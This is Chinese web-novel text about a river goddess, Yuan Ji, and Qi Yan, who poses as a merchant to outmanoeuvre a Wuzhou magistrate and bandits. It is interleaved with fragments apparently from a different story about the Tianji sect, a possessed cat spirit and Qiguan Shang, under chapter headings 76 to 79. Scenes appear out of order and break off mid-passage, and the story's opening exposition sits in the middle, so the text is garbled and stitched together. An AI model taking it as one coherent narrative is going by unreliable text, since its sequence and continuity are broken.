元吉顿了顿,想起祁琰的话,于是说:“做什么生意不好说,不过都是些纷乱的地方用的着的。” “米粮?”李夫人问。 元吉点头:“也有。” 李夫人双手捏紧了些,胸腔一震,压低了声音问:“该不会还有刀枪吧?” 元吉朝她笑了笑,不说话了,只伸手指着一处说那儿好看,没承认但也没否认,跟在她身后的李夫人春日早上流了一头的汗,心想能做得来兵器的究竟是什么人? 铸铁并非是普通商家能做的,势必与朝廷挂钩,吴州虽然封闭,但对外有财有势的人家也多少知道些,能与朝廷挂钩的大商户,祁家就算上一个,却也没敢直接造兵器贩卖,这元家…… 元吉转身朝李夫人笑了笑:“来吴州的路上我也听过些吴州的说法,好似除了从京城迁过来的祁家,就没几个富商了,祁家也是每年交了足够的银钱上去才得以保全,没想到来这儿才知道,砂砾中也有许多像李家这般光亮的珍珠啊。” 李夫人摆了摆手:“哪儿啊,都是困境求生,苟延残喘。” “李家与徐县令交好,有官府庇佑是不错。”元吉点了点头,随后又皱眉叹气:“哎,可惜啊,我与夫君不爱与官府打交道,否则吴州之行的财路,也可与你们分一杯羹。” 李夫人一听,忙说:“我们与官府也不熟,不过是在这县中做些小生意,总得靠着县令些。” “哦?”元吉抿嘴笑:“那我回去与夫君说一说,毕竟我们对此不熟,若有人能领路,自然好许多。” 一早上的游园踏春结束,李守财的马车将元吉与祁琰送回了鼎丰客栈,这便与夫人一道离开。 回去的马车里,李夫人将自己与元吉说的话都告知了李守财,李守财连啧了三声,摇了摇头:“这个咱们碰不得。” 李夫人捶了捶李守财的肩膀,皱起眉头:“你可知今日我见那元夫人从客栈里出来心里想什么吗?人家那一双鞋子都能抵咱们这两身衣裳了,不入虎穴焉得虎子?” “夫人,咱们与徐县令还有那鹿蜂寨的三当家多少年的交情了?赚钱固然重要,但搞砸了这层关系,他们拍拍屁股走,咱们怎么办?”李守财摆了摆手道:“我今日也听那元老板说了,年纪不大,口气可大得很,还要赚鹿蜂寨的银两,他那细瘦的身形,上舟山还能活着回来?” “那你当要如何办?告知徐县令?”李夫人白了他一眼:“你可给徐县令当了许多年的狗了,他可给过你好脸色看?” 李守财啧了一声瞪向李夫人,李夫人抿嘴撇过头不说话,李守财便哄她似的晃着她的袖子:“咱们且都不说,两头看着,你与那元夫人多见面吃茶,总归是好的。” 元吉跟着祁琰回到了鼎丰客栈,为自己倒了杯茶,又看向祁琰,一边喝茶一边道:“李夫人说他们与官府不熟。” “熟不熟今日过了才知道。”祁琰道:“我已经让阿甲偷偷跟过去了,若今日李府无一人出入徐县令家,那才叫不熟。” “他们若真不熟,你当如何?”元吉问他。 祁琰笑了笑:“离间计你听过吗?” 元吉一愣:“李守财还得在城中过日子,你当他傻呢,为了你这点儿钱得罪徐县令?” “若徐县令下台了,他是否会与我一路啊?”祁琰抬脚,护卫乙连忙将凳子推到了他的脚下,元吉见状啧嘴摇了摇头:“腐败。” 祁琰一边抖着脚一边倾身朝元吉过去:“今日的桃花好看吗?” 元吉往后缩了缩:“好看啊。” 祁琰又靠过去了些:“我听说芙蓉镇中有花灯会,更好看,你要去看吗?” 元吉端着凳子往后挪了几寸:“去芙蓉镇要出城吧,去那儿做什么?” 祁琰笑出了一排牙齿,眉眼弯弯,护卫乙见气氛刚好,于是开口道:“小人之前去见过几次,灯会非常热闹。” 元吉顿了顿:“你当我傻?你是从京城来的。” 护卫丙捶了护卫乙一下,道:“小人听掌柜的说,芙蓉镇中的有个百花斗艳的大会,甚是精彩。” 元吉抿了抿嘴:“那人一定很多吧,看不到什么的。” 护卫丁朝前走了一步,瞥了一眼护卫乙与护卫丙,一本正经道:“会有许多好吃的。” 元吉眸子一亮,护卫丁继续:“还有许多好玩儿的。” 元吉握着茶杯的手紧了紧,护卫丁缓缓勾起嘴角:“还有许多漂亮的首饰衣裳摆弄的玩具。” “这个嘛……”元吉抬手拨弄了一下额前的发丝。 护卫丁一手指指向了祁琰:“全都大人买。” 元吉慎重地点头:“去。” 祁琰嗤地一声笑了起来,无奈地摇了摇头,元吉就在旁边小口小口咬着糕点有些小兴奋,祁琰这已经转身面对着护卫乙与护卫丙,口型道:“花销从你们的薪资上扣。” 护卫丁抱胸站立,笑而不语。 芙蓉镇是吴州中比较独立的一个镇子,位于山体中央,有一条路直通镇门口,因为镇子在半山腰上,风景也很好看,算是吴州的特色之一。 元吉跟着祁琰出门的时候褪去元夫人的一身打扮,坐在马车上约莫一个时辰,才道了芙蓉镇的山脚下。 因为有花灯会,故而去芙蓉镇的人不少,元吉下了马车便与祁琰一同走进去,护卫乙丙丁跟在后头,对这也分外新鲜。 从山脚下开始入镇中的路两边就是一排坐地灯了,编制成各种模样,金鱼、莲花、圆的方的,一路照进了芙蓉镇中。 祁琰领着元吉入芙蓉镇的时候道:“据说九月芙蓉花开,镇中会分外漂亮,到时候我再领你过来看?” 元吉一边盯着过往路人手上提着的花灯一边点头:“可以,小祁琰,你懂得孝顺了,不枉我照顾你长大。” 祁琰听见这话,脸上的笑先是僵了僵,随后无奈地摇了摇头,伸手勾住了对方的肩膀,伸手指向一处到:“走,元阿姨,咱们买灯去。” 元吉听见这话顿时皱起眉头,一边拍开他的手一边道:“谁是阿姨?你喊句姐姐也行啊!” “我初见你时你大我十多岁,搞不好活了几百年了,叫句阿姨已是小咯。”祁琰的手顺着她的肩膀从背后滑到了腰,两根手指搭在元吉纤细的腰带上,嘴角往下撇,眉眼弯弯。 “我至今才当河神二十三年……”元吉话还未说完,便被祁琰打断,对方直接从道路一旁的架子上拿起了个白色的鬼面具,罩在自己脸上歪头问了句:“好看吗?” 元吉嗤地一声笑出来:“与你长得一模一样。” 祁琰的双眼从面具镂空的眼洞中露出来,眼尾上翘,带着笑意直视元吉,空气凝滞,元吉抿了抿嘴,移开了视线道:“我也要一个。” 护卫乙从怀中拿出银子,为祁琰与元吉付了钱。 芙蓉镇的占地面积并不大,不过街道繁多,一条街道之间只隔了一排房子,从头走至尾每一条街道都走上的话,恐怕得要好几个时辰。 天色渐晚,弯月高挂,芙蓉镇中的灯火也越发明亮,元吉被祁琰牵着走了许多地方,手上也买了好些个吃的,吃不下的都让身后的三名护卫拿着,护卫丁的胳膊上甚至扛了一架子糖葫芦,在祁琰与元吉逗留某处的时候,便会在路边上高价卖出去。 此刻的祁琰与元吉就在一旁的馄饨摊的四方小桌边坐着,老头儿端了两碗馄饨上来,元吉赶紧趁热尝了一口,鲜味十足。 祁琰瞧着她吃,嘴角带着笑意:“当个人挺不错的吧?有吃有喝。” 元吉瞥了一眼对方:“那是你这样的有钱人才有吃有喝,多少穷人为吃喝发愁呐。” 祁琰啧了一声,眉心皱起来,随后又笑了笑:“我又不是与你说他们,我是在说你,整天窝在水里不觉得无趣吗?” 元吉半垂着头,一边吃一边笑道:“怎么会无趣?你家当初为了让你方便去学堂在城中河上修了一座石桥,而今每日都有小孩儿走石桥去上学,那一个个鲜嫩娇滴滴的小娃娃别提多可爱了,给个糖就喊姐姐……” 祁琰脸上的笑逐渐收敛,他冷着一张脸,却依旧用风轻云淡的口气问:“所以我去京城的这些年,你总与别家的小孩儿玩儿?” 元吉点头:“是啊,老张家的女儿长得特别可爱,还有老何家的儿子,肥嘟嘟的虎头虎脑,走一步就摔一下哈哈……哎哟!” 元吉的脸直接被祁琰掐了起来,她嘴里还含着馄饨,龇牙咧嘴地瞪着对方,瞧出了对方的不悦,皱眉道:“你有病呀?好好的干嘛掐我?松手!” 祁琰馄饨也不吃了,一只脚在地上直踩着节奏,嘴角歪着,眼皮耷拉,凉凉地问她:“所以你又想逗谁家的孩子啊?” 元吉拍着他的手:“我逗谁家的?我也就是看看!招惹了你这么个混世魔王我已经够倒霉了,再招两个回来我这河神还要不要当啦?” 况且土地神已经数落过她无数次,别跟个人贩子似的整天围着孩子转,她也有收敛许多的好吧? 祁琰这才松手,心想回头就让人把城中河上的石桥给砸了,修条宽敞的路直通书斋。 护卫丁卖完了糖葫芦回来,脸上还挂着笑,朝祁琰道:“大人,前面有赏花的地方,很是热闹。” 祁琰问元吉:“去不去看?” 元吉揉着脸还在气头上:“不去!” 祁琰蹭得一下站起来,弯腰一手搂着她的肩一手抱着她的腿,直接将她打横抱起来。 护卫乙:“我去……” 护卫丙:“这人来人往的……” 护卫丁:“竟然还挺刺激……” “河神大人,请您为这世界除去祸害。” “请河神大人救救万千妖兽!” 叶新跪在地上,整个猫气得浑身直抖,他竟然为那群凶手做了这么久的事! 他越想越气,只觉腹中的灼热越发烫人起来,像有无数只手自腹中伸出欲将他撕裂。 一道道黑色的细线布满那蓝色的瞳孔,不到一息的时间,叶新的两个眼睛都变得漆黑一片。 他陡然起身,周身爆发出一股不属于他的气息。 更可怖的是,已经被下了软经散堆成小山的那几名天极宗弟子也歪歪扭扭以非人的姿势站起身来。 他们齐齐面向元吉,异口同声道: “河神?” “找死!” 第 76 章 第七十六章 第七十六章 在夜幕之下,数十个身形扭曲的黑影以一种僵硬的姿势缓步朝元吉走来。 他们的瞳孔无一不是漆黑一片,看不清眼底的神色。一张一合的口中发出含糊不清的几声低语,细细听去,犹如恶鬼催命。 “这、这是怎么回事?”一名天极宗的弟子眼见着自己身边的师兄弟们一个个像是牵线木偶般失去意识往前走,满目惊恐。 “师弟!你怎么了?快醒醒。” 他焦急地扑上去想拦下对方,可回应他的却是师弟毫不留情地一剑。那人快速收回剑,殷红的血瞬间汩汩涌出。 他应声倒地,双目瞪得极大,像是想从对方的背影中看出他为何这般。 到了贾有亮选定的雅间,祁琰又看见了百宴楼的老板,那老板只要瞧见祁琰便满眼冒金光,恨不得抱住对方的大腿。 祁琰牵着元吉进了雅间后,主座上的陈县令立刻笑了笑。 陈县令比起徐县令要会做人的多,祁琰进门的时候,他虽然没有迎过来,不过至少率先喊了一声:“元老板。” 祁琰与元吉坐下,看了一眼刚上桌的鱼肉,心想这一桌可一点儿也不比他与元吉刚来的时候点的那一桌花销少,一个县令一年的俸禄也就那么点儿,这一桌起码吃掉了他好几年了。 祁琰装作彬彬有礼的样子:“陈大人亲自过来,元某惶恐。” “元老板说的是哪儿的话,本官此番邀请元老板来,还需要元老板能帮个忙呢。”陈县令不跟祁琰拐弯抹角,商家人饭桌上的那套东西,他懒得用。 祁琰端起茶杯没喝,先慢慢放在桌上,有些为难:“元某初来乍到,不知道有什么能帮得上陈大人的。” “元老板虽然刚来吴州不久,不过可是第一时间在我手中购置了几个空宅过去,那空宅的大小我自己心里也有数,而今陈大人要用,还望元老板能收拾出来,给陈大人行个方便。”贾有亮在桌子对面开口。 祁琰沉思了会儿,脸上的笑容也收敛了:“哦,是这个事儿啊,这元某恐怕帮不了。” “元老板,这可是陈大人请你帮忙呢。”贾有亮没见过如此不识抬举之人。 祁琰道:“我当初购置空宅,为的也就是这一刻能赚够了钱,再离开。明人不说暗话,元某是个生意人,哪儿有花钱请人住进家里的道理?空宅我是可以让出来,不过该收的银子,还希望陈大人一分不少地交到我手里。” 陈县令的脸色很不好看,祁琰就当没看见,转身对元吉道:“果然还是夫人说的对,哪儿有人会好心请咱们吃顿白饭。” 元吉顿了顿,移开了视线,她何曾说过这种话?! 陈县令咬了咬牙齿,朝贾有亮看去,贾有亮便知道这事儿没有可能,唯有谈价钱了,他是商人在价钱这方面比较敏感,于是便代替陈县令说话。 “那元老板觉得,这一间宅子当要多少钱,才肯卖回来?” 祁琰挑眉:“卖?等剿匪之后,兵队撤离,我当原价卖还给贾老板如何?” 贾有亮听见这话,脸色僵了僵:“难道元老板想要租赁?” “没错,元某手中有六间空宅,细细算下来,住上两千个人不成问题,陈大人应当觉得元某给您省了个麻烦,若这些宅子都还在李守财的手中,恐怕更难对付咯。” 祁琰刚说完,贾有亮便问:“那一间宅子,在剿匪结束前,元老板当出什么价?” 祁琰慢慢伸出五根手指头,贾有亮皱眉:“五十两?” 祁琰摇头,贾有亮擦了擦额上的汗水:“莫不成是五百两吧?这玩笑可开大了!” 祁琰噗嗤一声笑了出来:“是五钱。” 贾有亮的脸色顿时变了,他朝陈县令瞧过去,这元老板葫芦里卖得到底是什么药? “五钱银子?元老板确定?”贾有亮皱眉:“该不会是有其他要求吧?” 祁琰将筷子放了下来,元吉也同时放下,两人表示这顿饭便到此为止,接下来要谈的就是正事了。 祁琰脸上那翩翩佳公子的笑容收敛,严肃起来倒是让对面的两个人心里有些发虚。 他道:“元某说的是,论月租,每月每个人五钱银子,朝廷有多少兵住进我元家的宅子里,元某便收足他的月租。剿匪若半个月便能回去,元某只收两钱银子一人,若是过了一个月,那便论实际日子收了。” “元老板这未免也太狮子大开口了些!从古至今,剿匪哪有半月就归的?多数都是半年以上,如若按照元老板这么算,本官不会同意的。”陈县令顿时皱眉,他却没想到这个姓元的有这么多心思。 祁琰叹了口气:“既然如此,那便没什么好谈的了。” “你敢这样与本官说话?!” “元某不敢。”祁琰说完这四个字,仔细观察了对方的神情,他顿了顿,见对方并没有开口说话,便笑道:“或者陈大人另有他法也行,夫人,不如咱们先回去吧,让陈大人好好考虑考虑。” 元吉点头,两人这便起身。 贾有亮在那头正算着钱,陈县令见二人要走,皱眉想要拦下来,县令府中的衙役伸手拦在了门口,站在门边的护卫甲一指点在了两个衙役的手臂上,那两人顿时手臂无力,垂了下来。 祁琰面不改色地扶着元吉离开雅间,百宴楼的老板看得满头大汗。 陈县令微微眯起双眼,拍了拍桌子:“你还在算什么?!人都走了!” 贾有亮这才回神,看向满桌子几乎没怎么动过的饭菜,叹了口气道:“真没想到,这姓元的居然这么会做生意,若吴州山匪半年内能尽数除去,那么他提的价格便死死地压着朝廷给的银子,若超过半年……” “那本官便只有自己贴银子进去了。”陈县令摇了摇头;“如此不是办法。” “等,等几日,如若他再不来,那你便按照他说的做吧,再有几日兵队便到,届时我若还没安排好这些,县令这个乌纱帽也可以摘下来了。”陈县令说完,也没了吃饭的兴致,丢掉筷子对贾有亮说:“你付。” 随后与县令府的衙役一同离开,贾有亮看着满桌菜色,叹了口气,跟在陈县令身后苟延残喘,真不是个好过的日子。 祁琰知道陈县令在等他反悔,若他是个真的外来商人,说不定为了长久利益会妥协。 可祁琰不是,他料定了陈县令没有别的路可走,这几日,便在客栈里与护卫丙下棋。 第三日的早上,贾有亮亲自登门造访,说陈县令同意了祁琰的话,便拟了个契约,两方签字画押,这庄买卖就算是成了。 祁琰拿着契约去找李守财的时候,李守财端着酒杯正哈哈大笑。 他拍着祁琰的肩膀道:“元老板真是会做生意,李某是真的佩服啊!” 他连用了两个真的,酒喝得都有些语无伦次了,李夫人笑着对元吉道:“我与老爷在城后的宅子较大,大约能住下五百号人,剩下的那些,便分到你们的宅子里如何?” 元吉点头,将祁琰教她的话说出:“我还有庄生意要与姐姐做呢。” “什么生意?”李夫人问。 元吉道:“不知李家的米铺中米粮可够?” 李夫人点头:“今日新进了一批米,仓库中倒是有不少,有何用处吗?” “这与官府打交道的生意就交给我与夫君来做,李夫人只需我在需要米粮时能及时提供便可。”元吉说。 李夫人点头:“那是自然,妹妹既然能帮到我,我自然也愿意与妹妹再合作。” 李守财见夫人如此能干,于是点了点头连连说好,元吉抿嘴笑了笑,四人围桌说了些话,便又扯到了剿匪上。 “官府的钱是赚了,元老板准备何时赚山匪的钱?”李守财摸了摸胡子问。 祁琰瞥了他一眼:“李老板有门路?” “自是有些方法。”李守财笑了笑。 祁琰便道:“现在还不急,这宅子不过是赚官府的第一步,等人到齐了之后,要赚钱的路子还多着呢。” 几人话音未落,便见一道身影翩然而至。 元吉踏着星光而来,她视线缓缓扫过面前这几个老头,扯了扯嘴角露出抹骇人的冷笑。 “你们,胆子挺大。” 白胡子老头闻言气得胡子一翘,“呵,妖女,你欲何为!” 到了地方,元吉倒是不急了。她慢条斯理走上主位,施施然坐下。 “自然是砸了你这天极宗。” 第 77 章 第七十七章 第七十七章 “大胆!” 话音一落,元吉斜斜睨了他一眼,一道白光自她指尖飞出。 “轰隆!”一声巨响,众人瞧去,不远处一片山峰竟齐齐像是失去了支撑一般缓缓滑落,群鸟惊飞,那片山峰竟被元吉一击给齐腰斩断。 “妖女!你在做什么!” 殿中数位长老心下一抖,旋即拍案起身。他们虽只是天极宗的长老,可天极宗是这第一大宗门,向来为众人所推崇敬仰的,连带着他们这些人出去别人都是瞻前马后地服侍着,生怕怠慢。 最近吴州传来了一个喜讯。 吴州地界近二十多年来一直都是纷乱的,皇上派来管理吴州的大官儿要不是半道儿被人劫了,要不就是来这儿没两年就病死了,总之没什么好事儿。 不过最近传来的消息就不一样啦。 整个吴州人大致都听过名号的祁家公子前几年上京赶考,高中了个状元,留在京城办了几年差,后来向皇上请愿,要回吴州整治吴州呢! 得了这个消息的老百姓们那是拍手叫好,大白天的放了鞭炮,感觉这吴州的山贼盗匪,骗子人贩,也就只有祁家公子能制得住啦! 这不,环城河尾的几家刚得知消息,鞭炮都比别人放晚了半日。 而环城河旁的石桥上,有人可不怎么高兴了。 只见一身穿水蓝色长裙的女子坐在桥边上,双脚垂在空中晃荡,一手撑着下巴,另一只手里拿着石子儿,时不时往环城河中丢一颗。 她大约十七八岁的模样,头发随意束着,面容姣好,弯眉圆目,殷桃小口,如若笑起来定当更加好看,偏偏,这女子的眉头紧皱,如临大敌。 “祁少爷要回来啦。” 一条鱼儿钻出水面。 女子眉心更皱,有些不耐烦道:“知道知道,也就这两日便要到了。” 那鱼儿晃着身躯:“咱们逃吗?” 女子朝鱼儿瞪了一眼:“逃?你能顺着小分流直去大江,我能逃哪儿啊?” 鱼儿摇着尾巴:“谁让你以前老欺负人家来着,前几年人家进京赶考,你还特地出来放鞭炮庆祝,这回倒霉了吧?整个吴州都在放鞭炮迎他回来呢!” 女子听罢,将石子全都丢入河中,双手抓着额头两边的发丝,带着些许崩溃道:“谁叫他那时候可爱嘛……” 只是谁能料到他越长大越不可爱,越长大性格越差,后来直接成了吴州的混世魔王,年仅十三岁便骑马扬鞭满城跑,好不容易五年后上京赶考,这不,过了五年又回来了。 女子掰了掰手指算算,祁家那混世魔王而今也有二十三岁了吧? 鱼儿也在算,算完之后瞧了瞧女子常年不变的少女身姿,叹了口气道:“以前他打不过你,还能被你压在桥上为所欲为,而今恐怕这姿势得倒过来咯。” 女子瞥开眼神:“……” 鱼儿摆尾,直接顺着河流朝远处游去,道:“我带着一家老小先走啦。” 女子伸手挽留:“你不要我啦?” 鱼儿道:“哎~你是何身份,他奈你不得哒。” 鱼儿已经没了影子,女子却愁得抓乱了头发,她为什么总觉得心里慌张,好像自己的好日子就要到头了似的呢? 桥那头传来脚步声,女子瞧见一砍柴的樵夫背着柴火过来,两人刚对上视线,樵夫便赶忙跑过去:“别跳!” 眨眼般,蓝衣在桥上消失,樵夫吓得匆匆趴在石桥往下看,只是河水清浅,不是能淹死人的高度,况且哪儿有人影,唯有倒映出他自己那张惊吓的脸。 元吉算是听出来了,这家伙一回来就给自己下任务来了。 她先是朝那四名护卫瞧去,再看向祁琰,眨了眨眼睛,实在有些没弄懂怎么自己成了这家伙的手下之一了。 祁琰单手撑着下巴,说完这事儿后笑眯眯地看着她:“你可以选择同意,或者我填河。” 元吉顿时站起来伸手指向他:“你你你……” 祁琰继续保持那个姿势没动:“考虑考虑?” 元吉若不是突然想起来自己是河神,差点儿就服软了。 她抬起下巴,轻佻高傲地一声哼,转头便朝外走,祁琰也没追上来,只说:“给你三天考虑。” 元吉脚下顿了顿,心里稍有些乱,那站成一排的侍卫便纷纷鞠躬。 “姑娘慢走!” 元吉吓了一跳,转头看向府衙这一坐四站的五个男人,没一个正常,于是甩了甩头,挥着袖子便朝外跑。 元吉走后,祁琰便端起那杯她没喝的茶,自己喝起来,表情有些许得意,似乎志在必得。 祁琰让她帮忙查探吴州城外山林中的山匪,其实也不是不可以。 的确如他所说,元吉是环城河河神,而整个吴州凡是有活水的地方就没有她不能去的,可元吉也在想,自己是河神,毕竟不是凡人。前些年看祁琰可爱,在他上学途中帮着些,已经受土地神不少训话了,再牵扯太多,始终不好。 这天下神仙分工明确,吴州自然有吴州的土地神,土地神掌管吴州山林水石。当年摸着花白胡子纤瘦如柴的老人盘腿坐在河边的一块石头上,笑眯眯地看着元吉,对她道:“想不想当河神啊?” 那时元吉迷迷糊糊的,什么也不知道,点头答应后,身体便可随意化成水,顺着环城河去到吴州的任何一处有水的地方。 土地神让她别靠凡人太近,不然会有许多麻烦,这不,被祁琰知道身份后,对方的确经常找她麻烦。 从祁琰那处回来,元吉便被土地神喊去了。 土地神有自己的庙宇,虽说不大,但每日供奉的香火还是不断的。他的庙大约只到膝盖高,麻雀虽小五脏俱全,里面雕刻的石像五官栩栩生辉,就在环城河东靠近河岸的一处巨石下。 元吉盘腿坐在了土地庙前,单手撑着下巴听训。 “你是不是又与那祁家的小子玩儿去啦?” 元吉无奈地耸肩:“他总拿我软肋,他家大业大,说填河就真的能填了!” 土地道:“谁让你当初不多长个心眼,一来就暴露自己的身份,惹了个狼崽。不过也算是命中有缘,即便不是你,他也总会碰上别的仙缘。” “什么意思?”元吉不解。 土地道:“天机不可泄露。” 元吉撇了撇嘴:“那我现在怎么办?他让我帮忙查探山匪窝,可你不是不许我与凡人走近的吗?” 土地转身道:“我不管你怎么办,总之若是被填河,你就倒大霉了!” 元吉还想再求他帮忙出个主意,结果对方直接关了门,石像上的土地爷从咧嘴笑变成凶巴巴的瞪着她。 土地神说,他们这些地方神仙,权限并没有通天大,也插手不了凡人的事儿。元吉也见过有山匪打家劫舍,过路的百姓钱财被抢是小事,有的漂亮的姑娘还得被玷污。 她当初气冲冲地问土地,这事儿他为何不管。 土地说,凡间的恶人自有凡人去管,神仙不得插手,他是土地神,管山林树木生长,管水源四通八方,管农地五谷丰收,管禽畜无病无疫,其余的都管不了。 元吉当时转身要去找山神,问他凭什么养山匪,土地说:“吴州山上没山神,那些恶人,等人来收拾吧。” 元吉拂袖离去。 立于远山子背后的关肃缓缓走到他的身侧,伸手按在了远山子的脖颈之间,那健壮的修士一时间像失去细线控制的傀儡般瘫软下去。 “查查,这河神从哪冒出来的。”关肃对着黑暗中道,“顺便,让穆家多做些丹药出来,天极宗还有很多弟子等着提升修为呢。” “是!”黑影快速扭曲消失。 关肃瞧着元吉离去地方向出神片刻,好半晌才缓缓道, “好妹妹,这就是你找的帮手吗?” 第 78 章 第七十八章 第七十八章 东方既白,沉睡一晚的林鸟扑腾翅膀抖去身上湿重的露水,橙黄色的长喙砸吧两下发出几声清脆婉转的鸣叫。 元吉与亓官上两人刚离开天极宗,亓官上便面色一白,身上的荆棘刺青啃啮着他的血肉,他整个人闷哼一声,竟直直往一旁倒去。 元吉眼疾手快,一把攥住他的腕子,将人搀扶到一旁坐下。 “诅咒复发了吗?”元吉眉眼微蹙,看着亓官上被冷汗浸湿的额角,不疑有他一把扯开亓官上的领口,“让我看看。” 而今想来,祁琰恐怕就是有能力收拾这群山匪的人了。 元吉不想管人间的事儿,不过她也瞧不惯恶人猖獗,土地那张怒化的石脸张嘴:“盯着我做什么?你要做什么就做什么去!” “因为我计划好了啊,我是外来的商人,你是我的夫人,我们此番来吴州是为了发一笔横财,因为朝廷马上就要派兵剿匪了。”祁琰一边笑一边解释:“我要让舟山上拿了我祁家钱财的那些个山匪啊,全都哭着从山上跑下来。” 这个人还可以更无耻一点儿吗? “你你你……你可以找别的姑娘陪你啊。”元吉摊手:“我不会演戏。” 祁琰一边笑一边摇头:“我我我不放心别的姑娘,你就看在我也是为了吴州百姓考虑的份上,发挥一下你的河神之爱吧。” 元吉抿嘴,双手叉在腰上,气自己一激动说话就结巴,更气这人一看自己结巴就要学自己,最可气的是她竟然真的没办法拒绝。 躲进河里?届时真的被填河,土地神得气得庙顶都给掀了。 祁琰见她气得直转就想笑,老早就发现了这河神也就是个摆设,法术除了隐身和拿石子儿变银子之外,基本没有其他用处。 被人逗得团团转的样子,还真挺可爱。 元吉让祁琰赶紧将她放下来,祁琰走了没两步,便碍于周围人投过来的目光与元吉一个劲儿在他胳膊上死掐的手,将她放下。 卖馄饨的老头儿噗嗤一声笑出来,嘀咕道:“小夫妻真是恩爱。” 元吉:“……” 埋怨的眼神投向祁琰,祁琰反而不以为意,抬起下巴道:“走啦,去看看。” 元吉感觉自己招惹了一匹没皮没脸的狼,问题是她回头看向身后的侍卫三人时,那三人都用心照不宣满含内容的笑朝她温柔点头。 随着众人的步伐,几人跟到了芙蓉镇最热闹繁华的地方。 这一处有不少小孩儿与女子,男子倒是没见得多少。 芙蓉镇的花灯会除了花灯,也搬了许多这个时节开放的花儿培育在瓷盆里,一群五颜六色的花从早上就在这儿了,地上有不少花瓣,风中净是甜腻的香味。 所谓花会也就是有个当地有名望的人上去主持花灯会的流程,元吉没来过这儿,于是拉着身旁一名看上去面向热情的姑娘问:“这花会什么意思?” “一年一次,可以说是芙蓉镇专有的乞巧节,是年轻男女相会的节日。”那姑娘说完,朝元吉身侧的祁琰瞥了一眼,掩嘴笑了笑:“哎,那是你夫君?” 元吉连忙摆手:“不不不,是……是我弟弟。” 姑娘听见这话先是睁大了眼睛,随后呵呵地笑了起来:“有何好害羞的?还说是你弟弟,我瞧你比他小上好几岁呢。” 元吉舔了舔唇:“那是我瞧着年轻,他长得急。” 祁琰一手拿着根糖葫芦往嘴里塞,一手慢慢挪上了元吉的腰,随后将她往自己这边带过来,侧身俯在她耳畔道:“我听觉可好得很,你别太过分啊。” 姑娘见这两人互动亲密,也知道他们恐怕是外来的,不好意思在别人面前谈情说爱,故而对元吉道:“大胆些,今日便是谈情说爱的日子,等会儿这边赏完了花儿,那头还有吟诗作对的地方,灯谜也有,求签求姻缘的也有,好玩儿的多着呢。” 元吉只能摆手表示自己对这些不感兴趣,姑娘被同伴叫了一声,与元吉匆匆告别后便朝另一边跑去了。 元吉见人走了,这才问祁琰:“这都是情人来的地方,你怎么把我拉来了?” 祁琰一脸无辜道:“我也是方才才知晓的,我多年未归,哪儿知道这些?恐怕还没你熟呢。” 元吉微微眯起眼睛,总觉得他在骗人,祁琰厚脸皮惯了,连个演戏的表情也懒得给元吉,在她盯着自己长看的时候就直接咧嘴笑了笑,摆明了糊弄她。 三个护卫在身后听了方才那姑娘说的话,激动的假胡子都快掉下来了,摆出同一个表情往这大街小巷中来来往往的女子身上瞄去,搞不好就能在这儿找个媳妇儿回去。 祁琰与元吉对赏花都没什么兴趣,不过另一旁的灯谜就不一定了。 那一处都是文人聚集的地方,不少书生打扮的男子在字画之中穿梭,元吉不爱凑热闹,但是挺爱看热闹的,远远地便瞧见有个男子被众人围住,不少女子都在他身后面露红光。 元吉本来也打算过去看看的,结果直接被祁琰拉住了衣领。 后者挺不开心地皱眉:“去哪儿啊?” 元吉指着那人群围绕的地方道:“去看看啊。” 祁琰嘁了一声:“别人家的男人有什么好看的?” “什么看男人啊!”元吉拍开他提着自己领子的手:“我是去看热闹的!我是河神,对情爱没什么兴趣,再说那男人长得也不怎么样,看他还不如看你。” 祁琰被噎了一句,伸手指了指对方,深吸一口气道:“念你最后一句是人话,带你去看。” 李夫人噗嗤一声笑了出来:“什么姑娘啊,这位已经嫁啦!” 老头儿嘶了一声,刚要说什么,元吉怕他坏事儿,立刻道:“多谢了。” 再转身面朝李夫人,伸手揉了揉眉心:“今日晚了,我有些累,姐姐回去好好想想我说的话,我们便就此作别吧。” 李夫人走了这么长时间也有些累了,于是点头说好,便转身去挽着李守财,说了些什么,两人一同离开。 祁琰目送二人离开,这才朝元吉走过来,自然地伸出手搭在了她的肩膀上,眼眸朝周围一些摆摊的瞧去。 元吉瞥了一眼他的胳膊,伸手推开,祁琰站直了身体一脸不解:“碰都不能碰一下啊?” 元吉拍了拍肩膀,眼神落在别处:“男女授受不亲,你总离我这么近,日后如何娶妻生子?” 祁琰眸色沉了沉,嘴角的笑意没去,看着元吉那表情也知道她心里在打什么主意,于是道:“娶你不就行了?” 元吉啧了一声:“这玩笑以后还是别开了,我怎么说也是个河神,与你们凡人本就不该多接触的,更何况咱们不是哥俩好吗?” 祁琰朝她近了一步,稍微垂下了头,眼眸之中倒映着元吉的脸,只是元吉不敢细看,他的笑意去了,声音也压低了不少:“小河神,你真以为那句话是哥俩好的意思呢?” 元吉眨了眨眼睛,目光落在祁琰身后的花灯上,连忙扯开了话题:“你你你……你瞧,有花灯!” 祁琰顿了顿,抿嘴笑了起来:“好,买两个,咱们去河里放花灯。” 元吉:“……” 护卫丁已经将花灯买了过来,这东西也就月老庙有,其实生意也不好,那花灯中的蜡烛已经换了好几道。 元吉看了一眼被塞进自己手里的莲花灯,上面留有一处空白可以让人提字,祁琰递给了元吉一根笔,元吉有些为难道:“我……不会写字。” 祁琰笑了笑:“你认得字如何不会写?” 箭气碰撞,红衣墨发,衣袂翩飞。 亓官上高大的身形挡在元吉面前拦下那凶悍攻击,他徒手将那玄铁箭给握住了。锋利的箭刀划过白皙的掌心,殷红的血珠顺着那骨节分明的手掌缓缓滑下,一滴,两滴…… 元吉瞳孔骤缩,可怖地威压铺天盖地地弥漫开来,逼仄地叫人难以呼吸。 元吉压下眉,视线快速捕捉到那一缕意识。 五指收拢,那一缕意识发出声惊恐的惨叫后化为尘埃消散与世间,连带着远处那意识的主人也遭受反噬不停呕着鲜血。 可饶是这样,元吉心中地那份怒火却堙灭不了,甚至越烧越旺了起来。 “该死。” 第 79 章 第七十九章 第七十九章 那缕残魂被她摧毁,可元吉的怒火却未消散。那一瞬间,她恨不能撕开时空过去将那背后之人一同撕碎。 可他太过狡诈,迅速切断了与那残魂的联系,没留下半分踪迹。 这让元吉更是烦躁,心下像是有无数只小爪在瘙痒,可她却不能挠动,只能憋着一股闷气在心中。 元吉也不知道自己那点怒火是从哪里来的,或许是因自己的不察导致他人受伤,又或是被那明目张胆的挑衅,又或是些她未明白的情绪。 小河上是月光的倒影,还有十多盏莲花灯正在潭中漂浮。 